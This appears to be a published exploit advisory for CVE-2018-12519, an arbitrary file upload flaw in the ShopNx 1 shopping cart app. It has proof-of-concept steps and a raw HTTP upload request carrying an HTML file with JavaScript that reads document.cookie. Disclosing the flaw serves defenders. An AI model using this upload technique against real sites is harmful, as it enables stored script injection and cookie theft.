ShopNx Arbitrary File Upload

2018.07.04

Credit: L0RD

Risk: High

Local: No

Remote: Yes

CVE: CVE-2018-12519

CWE: CWE-264

CVSS Base Score: 4/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8/10

Exploit range: Remote

Attack complexity: Low

Authentication: Single time

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

# Exploit Title: ShopNx - Angular5 Single Page Shopping Cart Application 1 - Arbitrary File Upload
# Date: 2018-07-03
# Exploit Author: L0RD
# Email: borna.nematzadeh123@gmail.com
# Vendor Homepage: http://codenx.com/
# Version: 1
# CVE: CVE-2018-12519
# Tested on: Win 10
===================================================
# Description :
ShopNx 1 is an Angular 5 single page application which suffers from
arbitrary file upload vulnerability .
Attacker can upload malicious files on server because
the application fails to sufficiently sanitize user-supplied input.

# POC :
1) Login as a regular user and navigate to "edit profile"
2) Click on "Avatar" and upload your HTML file which contains malicious javascript code.
3) You can find your uploaded file here :
   Path : http://shop.codenx.com/uploads/[Your File]


# Request :
=========================
POST /api/media HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site.com/account/edit-profile
Content-Length: 367
Content-Type: multipart/form-data;
boundary=---------------------------31031276124582
Connection: keep-alive

-----------------------------31031276124582
Content-Disposition: form-data; name="file"; filename="file.html"
Content-Type: text/html

<html>
<head>
<title>TEST</title>
</head>
<body>
    <script>
        console.log(document.cookie);
    </script>
</body>
</html>
-----------------------------31031276124582--

====================================================

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ShopNx Arbitrary File Upload

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